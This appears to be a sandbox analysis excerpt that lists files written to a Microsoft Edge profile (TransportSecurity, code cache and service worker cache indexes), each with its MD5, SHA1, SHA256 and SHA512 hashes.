C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
| MD5 | 998273613da467ff2d97810e35611b67 |
| SHA1 | c2d1a2185639d56c1f2dad23d9bb364cebd3c8b7 |
| SHA256 | de4a2a31344de76947f211988322171ffa491d2bf22bf2c3aaab6a235327c080 |
| SHA512 | 83bc91a96fa1f5b2ea22311553779988ec5e1a95f9272ba6ca2a43bcd4014ea387a05a74ef9917f32b2f0e439aa9b6420ba72e4f13a53c7306ebc1e355be829b |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
| MD5 | 0f9a513639cb99cc7657cd4deca9695e |
| SHA1 | e9815a3066a790fea9a5455c980d710e96bead9a |
| SHA256 | 75bbbc4c885f275e3cdf43b8a065329f83dea4f02ab54b0a680551128ab3014a |
| SHA512 | 8c0bde69a6d559a24f95c94f0b9a3bafb52ea9f678998425988a7b3d2c2edba7bce63b11a71e444a182675fea46c16c9448f319e6cb36776476724b683813091 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
| MD5 | aa68875bd4790a393ee1dc7464982700 |
| SHA1 | 1c686fdcd20fc13038e2deaa3655a8e79fda8e0d |
| SHA256 | deb12e9e805af5a505880ab8106b11b998e8d4a7b7fe99cd6aacd835053115e1 |
| SHA512 | 72e703fbed043f300b75f3089ff8d8b9cf55850ae1bcce5eb984bacd550f8c06ecf0b208b9bbf8b3d710351844d72a775410f17d9107613f2df38c50b3d77784 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
| MD5 | ef210b89d011aecfd1268978d5c5484c |
| SHA1 | 3828cafe9b0a8eb47f217272af86a1fcbc1fb155 |
| SHA256 | dfaf6f5b70e351e4b2192a6083279293d92d079274466ce7049c40b4271c908a |
| SHA512 | 0b7d8eda8a18585022b07193d9535f91eb715c5c7176e6ed39d3d8969418c2693f8a03e9e47fe2868bf2c90a3f9ecbb95a9a9b49a89e18a319cba68f8a9406fb |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\033596c5-16f4-4a25-ba42-78c9963cd24b\index-dir\the-real-index
| MD5 | 8a21b7689ad55456ccb833ab3b92335a |
| SHA1 | 72b42cdd12c10089226ecd08c60868acd0568060 |
| SHA256 | a29703e55f43dac8a43747b45bdb212873bacf509fa7d76c783233bb4026109c |
| SHA512 | 90c17791496f8d4ae24e87c60d0870078cebe2fcf03840388c9be2bf4e45f774709303cfaa37964aa102d35a119c5021c7522b3ffaa40a38cfa9ed3ef56f663f |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\033596c5-16f4-4a25-ba42-78c9963cd24b\index-dir\the-real-index~RFe59fc58.TMP
| MD5 | ac7528c845c09d9eb5549884d87f1272 |
| SHA1 | 39f4bae9caf65a936b9e91edac03ed5bcc7a59b9 |
| SHA256 | c24a4d4e8ea8fd853e3aeb5f0b04bc418c38b51a3e0c9aa2208bf8d9f04acbb3 |
| SHA512 | 121c241b2d300185787a7749712712be711974d6ede3dd76d3b7d773596aaa893fb1157f74d8d247bf03679ccc601d8bc05cf664cf43df3e9da95366c13ee598 |
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
| MD5 | 5e85b500c09eafb5d143d12738d15a38 |
| SHA1 | 3c7526218cd4c79f3ee8a4734a6ee6bf3bed8d06 |
| SHA256 | ba63e23b87f73866798555695c540f7b18dbd6734aed15274887499dc3aaee29 |
| SHA512 | 84c1220b3caa99ea356994afe5a9d31cac34d26db62957ba95bf18f07fc54ce542e892a7f0525bb22fbaa7cea3f9f057e3a7d5c544e79bdd2d9655f1d1e6e494 |